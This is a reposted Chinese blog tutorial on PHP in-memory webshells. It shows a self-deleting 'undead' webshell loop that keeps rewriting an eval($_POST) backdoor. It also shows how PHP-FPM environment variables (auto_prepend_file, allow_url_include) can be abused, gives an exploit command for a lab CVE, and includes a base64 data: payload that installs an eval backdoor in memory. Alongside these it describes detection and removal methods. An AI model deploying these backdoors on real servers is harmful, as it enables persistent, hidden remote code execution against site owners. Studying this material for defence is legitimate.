0


PHP内存马介绍

文章目录

PHP内存马

PHP不死马

PHP不死马原理

php不死马顾名思义是指木马进程不会自己消亡的一种木马,该木马在内存中不断创建木马文件,从而达到管理员无法彻底删除的目的。实际上,PHP不死马并未实现无文件攻击或者内存webshell等,理论上并不属于内存马的范畴,但是关于PHP内存马的实现,确实仅有这几种方法,所以在此处简单介绍一下。

PHP不死马代码

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>

函数说明

1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。
2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3. unlink(__FILE__)函数:删除文件。
4. file_put_contents函数:将一个字符串写入文件。
5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

访问成功,并且无法删除。

image-20220608210706421

值得注意的是php一般都有设置php超时事件,所以php后台运行一定时间后可能会自动终止。image-20220608221221995

检测思路

1. 检查所有php进程处理请求的持续时间(top|grep http)
2. 检测执行文件是否在文件系统真实存在

查杀PHP不死马

  • 重启php服务器
  • 强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9
  • 竞争删除

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode 运行了。使用条件竞争写入同名文件进行克制不死马。

image-20220608211639286

image-20220608211558944

FastCGI马

​ 在了解FastCGI马之前,我们先来简要介绍一下

FastCGI

是个什么东东。

CGI与FastCGI

​ 首先,我们来了解一下什么是

CGI

:以web服务器为例,我们知道apache可以用于搭建web服务器,但是apache只能够解析静态网页,也就是

html

类型网页;当然,我们可以安装php组件,通过apache配置文件使其能够解析php。这其中就用到了

CGI

CGI是指Web Server 与 Web Application 之间数据交换的一种通信协议,当apache需要解析php时,他会通过配置文件获取到解析php服务的应用端口,并将需要解析的文件数据通过

CGI

协议交给PHP解析器。也就是说apache和php之间并不是一个整体(这是我以前误解的地方),而是apache通过

CGI

协议内部访问php解析器来实现php解析的。而

FastCGI

CGI

的升级版本,比

CGI 

在效率上做了一些优化。两者的区别是:

CGI

每次解析是都会重新启动一个解析器进程,重新读取配置文件,重新载入扩展,解析完成后退出;而

FastCGI

是一种常驻型的

CGI

,只在进程启动时读取一次配置文件,请求解析完成后也不会退出,这样大大提高了性能。

​ 类比于HTTP协议,

FastCGI

协议是服务器中间件与某个语言后端进行数据交换中所使用的协议。

FastCGI

每次交换的消息称为

record

,这与HTTP协议请求数据包类似,

record

也有自己的

header

body

record

的头固定8个字节,

body

是由头中的

contentLength

指定,其结构如下:

typedefstruct{/* Header */unsignedchar version;// 版本unsignedchar type;// 本次record的类型unsignedchar requestIdB1;// 本次record对应的请求idunsignedchar requestIdB0;unsignedchar contentLengthB1;// body体的大小unsignedchar contentLengthB0;unsignedchar paddingLength;// 额外块大小unsignedchar reserved;/* Body */unsignedchar contentData[contentLength];unsignedchar paddingData[paddingLength];} FCGI_Record;

语言端解析

FastCGI

头之后,会根据

contentLength

获取的

Body

的数据,

Body

后面还有一段额外的数据(Padding),其长度由头中的

paddingLength

指定,起保留作用。不需要该

Padding

的时候,将其长度设置为0即可。

​ 在

FastCGI

请求头中有一个

type

变量,

type

用于指定该

record

的作用,不同的

record

对应的

bode

结构不同,具体含义如下:
type值具体含义1在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息2异常断开与php-fpm的交互3在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束4在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对5web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为56php-fpm给web服务器回的正常响应消息的type就设为67php-fpm给web服务器回的错误响应设为7
这里我们主要介绍

type

为4的

record

,因为

FastCGI

木马使用到了该类型的

record

,其他类型详见看这篇文章。

当后端语言接收到一个

type

为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  • key、value均小于128字节,用FCGI_NameValuePair11
  • key大于128字节,value小于128字节,用FCGI_NameValuePair41
  • key小于128字节,value大于128字节,用FCGI_NameValuePair14
  • key、value均大于128字节,用FCGI_NameValuePair44

​ 关于web中间件与php之间的通信,我们举个例子来进行说明。用户访问

http://127.0.0.1/index.php?a=1&b=2

,如果web目录是

/var/www/html

,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

​ Nginx将以上数据通过

FastCGI

协议格式发送给

PHP-FPM

,PHP-FPM拿到

FastCGI

的数据包后,进行解析,得到上述这些环境变量。然后,执行

SCRIPT_FILENAME

的值指向的PHP文件,也就是

/var/www/html/index.php

PHP-FPM

​ 首先要说的是:

FastCGI

是一种协议规范,

php-fpm

最终会解析这个协议。我们知道无论是

CGI

还是

FastCGI

最终都会启动php解析器程序(

php-cgi

),但是该程序只能解析请求并不能进程管理,而

php-fpm

就是

php-cgi

的进程管理程序,它克服了

php-cgi

变更

php.ini

配置后,需重启

php-cgi

才能让新的

php-ini

生效,无法平滑重启;直接杀死

php-cgi

进程,

php

就不能运行了等问题。具体的相关信息可以看这篇文章

FastCGI未授权访问

**那么,如果我们能够控制

FastCGI

的通信协议,是否可以执行任意代码呢?**

理论上当然是不可以的,但是在PHP的配置中有两个特殊的配置项可以帮我们实现这一点:

auto_prepend_file

auto_append_file

  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;
  • auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

如果我们设置

auto_prepend_file

php://input

(只要Content-Type不为

multipart/form-data

php://input

会填入post数据,详见官方文档),那么就等于在执行任何

php

文件前都要包含一遍

POST

的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。当然,还需要开启远程文件包含选项

allow_url_include

**那么,我们如何设置

auto-prepend_file

的呢?**

这又涉及到PHP-FPM的两个环境变量,

PHP_VALUE

PHP_ADMIN_VALUE

。这两个环境变量就是用来设置PHP配置项的,

PHP_VALUE

可以设置模式为

PHP_INI_USER

PHP_INI_ALL

的选项,

PHP_ADMIN_VALUE

可以设置所有选项。(

disable_functions

除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

漏洞复现

复现环境可以使用vulhub的CVE-2019-11043复现环境。

Exp见p神的代码 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75。

python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;?>"

image-20230227212846684

参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例

利用PHP-FPM做内存马

上个章节介绍了接近内存马的PHP不死马以及利用

FastCGI

制作的木马,但是这两种木马都不符合内存马的基本特性----PHP 代码无法长久驻留内存执行,接下来我们对

FastCGI

马进行下相应的改进使其称为真正意义上的内存马。

​ 在

FastCGI

马中,我们使用

PHP_VALUE

设置

auto_prepend_file = php://input

从而使得http请求传入的数据得到执行,那么有没有方法使得后门代码在内存中驻留呢?**我们只需要将

php://input

协议换为

data

就可以了*(base64的内容为

<?php @eval($_REQUEST[test]); ?>

'PHP_VALUE': 'auto_prepend_file = php://input',
 'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload用P神的代码修改一下即可。
P神的脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

由于使用了

auto_prepend_file

,因此我们只需要访问服务器上任意一个正常的 PHP 文件,无需任何修改,都能触发我们的内存马。

image-20230228185217368

​ 当然,这个方案也有局限性,因为是内存马,所以他实际上是和PHP-FPM的 Worker 进程绑定的,因此,如果服务器上有多个Worker进程,我们就需要多发送刚才的请求几次,才能让我们的payload“感染”每一个进程。

内存马的检测

​ 既然是内存马,因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置,我们也无法从

PHP.ini/.user.ini/php-fpm.conf

等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求,因此也无法从webserver的accesslog中发现问题。但是我们是可以通过rasp之类的工具,通过检查

auto_prepend_file/auto_append_file/allow_url_inclue

配置的变化(虽然目前很多 rasp 也不会做这些操作)来做检测。
​ 另外,由于触发方式可以是任意一个 PHP 文件,所以,我们想从后续的访问行为中做检查也有一定难度,但是可以从网络流量中检查对应的后门 payload,或者从进程的行为中,来做检查。

参考链接

利用 PHP-FPM 做内存马的方法

标签: php 服务器 web安全

本文转载自: https://blog.csdn.net/weixin_44411509/article/details/129267982
版权归原作者 Geniotic 所有, 如有侵权,请联系我们删除。

“PHP内存马介绍”的评论:

还没有评论